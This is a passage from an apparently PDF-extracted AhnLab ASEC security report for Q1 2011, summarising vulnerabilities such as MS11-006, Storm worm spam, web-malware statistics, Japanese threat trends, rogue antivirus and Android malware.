not increasing, but extra caution is advised. Refer to KrCert's “MS 

IE New Remote Code Execution Vulnerability”.

 Vulnerability in Windows Shell Graphics Processing 
Could Allow Remote Code Execution MS11-006

An entry on “Vulnerability in Windows Shell Graphics Processing 

Could Allow Remote Code Execution” (MS11-006) was published 

on a security blog. When processing a thumbnail bitmap 

containing a negative 'biClrUsed' value, a stack-based buffer 

overflow occurs. A malicious word document was sent inside 

a 7zip archive folder with 43 non-malicious image files. Due 

to this, a recipient is likely to switch to the 'Thumbnails' view, 

which triggers the exploit. When the vulnerable document puts 

a negative number on the biClrUsed field, a stack-based buffer 

overrun occurs. This critical vulnerability has been patched in February.

2011 Storm Worm Botnet

Storm worm was first reported on January 17, 2007, and spread 

fast from January 19 to infect 8% of computers worldwide. This 

virus disguises itself as an email news alert on the weather and 

urges email recipients to download and run an executable file. 

Another Storm worm attack disguised as ‘FBI vs FaceBook’ 

spread in 2008. This type of worm that spread using an email 

message with a subject line about a social issue is dubbed Storm 

worm or Wale Dac. There was a spam during the year-end 

holidays on December 30, 2010. Steven Adair considers it to be 

Waledac 2.0 or Storm Worm 3.0. Clicking and downloading the 

link or file attachment on the scam email will infect your system. 

Infected systems will send out spam to other computers. 

02.	Security Trend
  b.	Security Issues

02.	Security Trend
  a.	Security Statistics
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Web Security Summary
As of Q1 of 2011, there were 239,762 reported malicious codes, 2,418 types of reported malicious code, 

2,395 reported domains with malicious code, and 11,089 reported URLs with malicious code. These 

statistical figures were derived from the data collected by SiteGuard, AhnLab’s web security program.

[Table 6-1] Website Security Summary 

Category	 Reports

Blocked malicious URLs 	 	 239,762
Reported types of malicious code	 2,418
Domains with malicious code	 	 2,395
URLs with malicious code	 	 11,089

Monthly Reported Malicious Codes
As of Q1 of 2011, the number of reported malicious codes increased 3% to 239,762, from 232,609 the 
previous quarter.

[Fig. 6-1] ] Monthly Reported Malicious Codes 

78,911

2011.01

10,000

5,000

0

2011.02 2011.03

61,817

99,034

Monthly Reported Types of Malicious Code
As of Q1 of 2011, the number of reported types of malicious code decreased 9% to 2,418, from 2,662 

the previous quarter. 
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[Fig. 6-2] Monthly Reported Types of Malicious Code
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Monthly Domains with Malicious Code
As of Q1 of 2011, the number of reported domains with malicious code decreased 4% to 2,395, from 
2,498 the previous quarter.
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[Fig. 6-3] Monthly Domains with Malicious Code 
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Top 10 Distributed Malicious Codes
Win-Trojan/Agent.286616 is the most distributed malicious code (34,689 reports), followed by Win-

Adware/Shortcut.InlivePlayerActiveX.234 (27,417 reports).

Distribution of Malicious Codes by Type
As of Q1 of 2011, Trojan is the most distributed type of malicious code representing 38.1% (91,452 

reports) of the top distributed type of malicious codes, followed by Adware that represent 28.7% 

(68,839 reports).

100,000

[Fig. 6-5] Top Distributed Types of Malicious Code
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Monthly URLs with Malicious Code
As of Q1 of 2011, the number of reported URLs with malicious code increased 14% to 11,089, from 

9,728 the previous quarter. 

[Fig. 6-4] Monthly URLs with Malicious Code 
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[Table 6-2] Top Distributed Types of Malicious Code 

Type	 Reports	 Percentage

TROJAN	 91,452	 38.1 %
ADWARE	 68,839	 28.7 %
DROPPER	 34,955	 14.6 %
Win32/VIRUT	 11,358	 4.7 %
JOKE	 4,554	 1.9 %
DOWNLOADER	 1,866	 0.8 %
APPCARE	 828	 0.3 %
SPYWARE	 317	 0.1 %
ETC	 25,593	 10.7 %
Total	 61,817	 100 %

Ranking	 ↑↓	 Malicious Code	 Reports	 Percentage

1	 NEW	 Win-Trojan/Agent.286616	 34,689	 26.3 %

2	 -1	 Win-Adware/Shortcut.InlivePlayerActiveX.234	 27,417	 20.8 %

3	 NEW	 Win-Trojan/Infostealer.340992	 12,829	 9.7 %

4	 NEW	 Win-Adware/Shortcut.Unni82.3739648	 11,450	 8.7 %

5	 3	 Win-Adware/Shortcut.Tickethom.36864	 11,179	 8.5 %

6	 -4	 Win32/Induc	 10,034	 7.6 %

7	 NEW	 Win-Trojan/Downloader.286616	 9,041	 6.8 %

8	 NEW	 Win-Adware/ToolBar.Cashon.308224	 5,262	 4.0 %

9	 NEW	 Win32/Virut.D	 5,259	 4.0 %

10	 NEW	 Dropper/Natice.52224	 4,839	 3.7 %

[Table 3-3] Top 10 Distributed Malicious Codes



ASEC REPORT
Vol.15

33 34

In Q1 2011, conficker worm (Win32/Conficker.worm) and autorun were the most reported malicious 

coders in Japan. The number of security incidents by Antinny worm (Win32/Antinny.worm) that 

attacks Winny, a Japanese peer-to-peer (P2P) file-sharing program, was also high. Spam campaigns 

that took advantage of the earthquake in Japan in March to spread malware via a file attachment in 

emails were also a big security issue.

Increased Conficker and Antinny worm attacks

Conficker worm exploits MS08-067 vulnerability to spread by copying itself into shared folders on 

networks.  Ever since being detected for the first time in 2008, it is constantly evolving and becoming 

more advanced to avoid detection.[Table 7-1] below shows the ranking of malicious codes in “Monthly 

Internet Security Threat Report” of Trend Micro Japan. WORM_DOWNAD.AD was the most reported 

malicious code this quarted along with crackers.

Another malware that should be noted in the table above is Antinny worm.  It spreads using the file-

sharing network of the Japanese software, Winny, and steal personal information. It emerged in 

2003 and became a security issue from mid-2000s.  Winny is no longer updated – new worm variants 

are still being developed and many people are still using this program, so attacks by Antinny worm 

will continue.

Continuous attacks by autorun

Most “Installer” malware has autorun feature. This is also the same in Japan. The chart below 

shows the monthly damages caused by malicious codes reported by IPA (http://www.ipa.go.jp).

As you can see from the chart, attacks by W32/Netsky.worm and W32/Mydoom.worm were the 

highest.  The number of Autorun and Downad was also high – it is similar to the previous quarter.

1.	 Malicious Code Trend- Japan, Q1 2011

3. Overseas Security Trends

[Table 7-1] Monthly malicious code threats (Source: Trend Micro Japan1)

Ranking
Jan. 2011 Feb. 2011

Threat Type Cases Threat Type Cases

1 CRCK_GETCPRM Cracker 5,573 WORM_DOWNAD.AD Worm 4,570

2 WORM_DOWNAD.AD Worm 4,997 CRCK_KEYGEN Cracker 3,273

3 CRCK_KEYGEN Cracker 3,116 MAL_DLDER Downloader 1,478

4 WORM_ANTINNY.AI Worm 1,006 HKTL_KEYGEN Cracker 1,450

5 WORM_ANTINNY.F Worm 767 WORM_ANTINNY.AI Worm 1,377

6 HKTL_KEYGEN Cracker 757 PE_PARITE.A Virus 1,347

7 WORM_ANTINNY.JB Worm 745 TROJ_SPYEYE.SMEP
Trojan 

horse
1,269

8 PE_PARITE.A Virus 742 WORM_ANTINNY.JB Worm 1,149

9 ADW_DOUBLED Adware 703 MAL_OLGM-41 Others 1,142

10 TROJ_REDOS.SME
Trojan 

horse
659 TROJ_DLOADR.KDS

Trojan 

horse
1,076

[Fig. 7-1] Malicious code trend (Source: IPA, Japan2) 

1 http://www.ipa.go.jp/security/txt/2011/documents/2011q1-v.pdf   2 http://www.ipa.go.jp/security/txt/2011/documents/2011q1-v.pdf
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Japan earthquake and tsunami email scams 

Scams and malware regarding the recent Japanese earthquake are circulating.  IPA, Japan, issued an alert 

about earthquake, tsunami and nuclear crisis scammers trying to scam unsuspecting, curious or concerned 

Internet users3.  

The attachment exploits a vulnerability in Windows Office and installs a Trojan horse when opened. 

This Trojan horse is detected by the following antivirus programs, but there are other malware or 

new variants that have not been found yet, so caution is still highly advised.

[Fig. 7-3] Result on antivirus engines that detected the Trojan horse (by Virustotal.com)

[Fig. 7-2] Spam mail with malicious attachment (Source: IBM4)

The malicious code trend in Q1 2011 I not that different from the previous quarter. Regionalization 

of malicious codes and exploitation of vulnerabilities are still the main trend. In this quarter, the 

emergence of fake antivirus programs and increase in smartphone malware are noteworthy. 

Regionalization of malicious codes

The variants of malicious codes are being restricted to specific regions. With the regionalization 

of malicious codes, the world statistic of malicious codes is no longer significant. According 

to the malicious code statistics released by top security providers, Conficker worm, Bredolad, 

Autorun worm, Virut virus, Sality virus and rogue antivirus were reported in multiple countries. 

Rogue antivirus programs that present itself as a legitimate antivirus and claim your PC has 

multiple security issues and infections that need to be removed with payment are becoming more 

sophisticated.  Similar cases have been reported in Korea also. These fake malicious programs 

are now available in multiple languages.   There are no longer restriction in spreading malicious 

codes and extorting money caused by language.   The graphical user interface gets translated to the 

language of the OS the rogue AV is running on. And, it is expected to get more sophisticated.

Increase in Android malware

The number of Android malware soared in Q1 2011. It is because the Android phone application 

market has allowed anyone to create an application and upload it.

Malware distribution and attack trend

Attackers still distribute malicious codes by hacking websites and exploiting vulnerabilities to 

insert malicious codes into websites, or via USB flash drive. The method of distributing malicious 

codes via email or social network sites, such as Facebook, MySpace and Twitter is also increasing. 

Cyber criminals have taken advantage of international events to distribute malware just like they 

did in the past. Apart from financial gains, cyber attacks have been launched as a political action in 

the past few years - there will be more of these attacks this year. According to a report in The Wall 

Street Journal in February, companies in the oil and energy industry have been attacked by Chinese 

hackers attempting to steal sensitive information from targeted organizations.   In Korea, 3.4 DDoS 

2.	 Malicious Code Trend- World, Q1 2011

 3 http://www.ipa.go.jp/security/topics/alert20110404.html
 4 http://www.ipa.go.jp/security/txt/2011/documents/2011q1-v.pdf
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attacks that are similar to the 7.7 DDoS attacks two years ago were launched. Some experts believe 

North Korea was behind the cyber attacks.  There were no serious damages as the government and 

private institutions responded to the threat prior to actual attacks. 

 5 http://www.ipa.go.jp/security/txt/2011/documents/2011q1-v.pdf
 6 http://www.ipa.go.jp/security/txt/2011/documents/2011q1-v.pdf 
  7 http://www.ipa.go.jp/security/txt/2011/documents/2011q1-v.pdf
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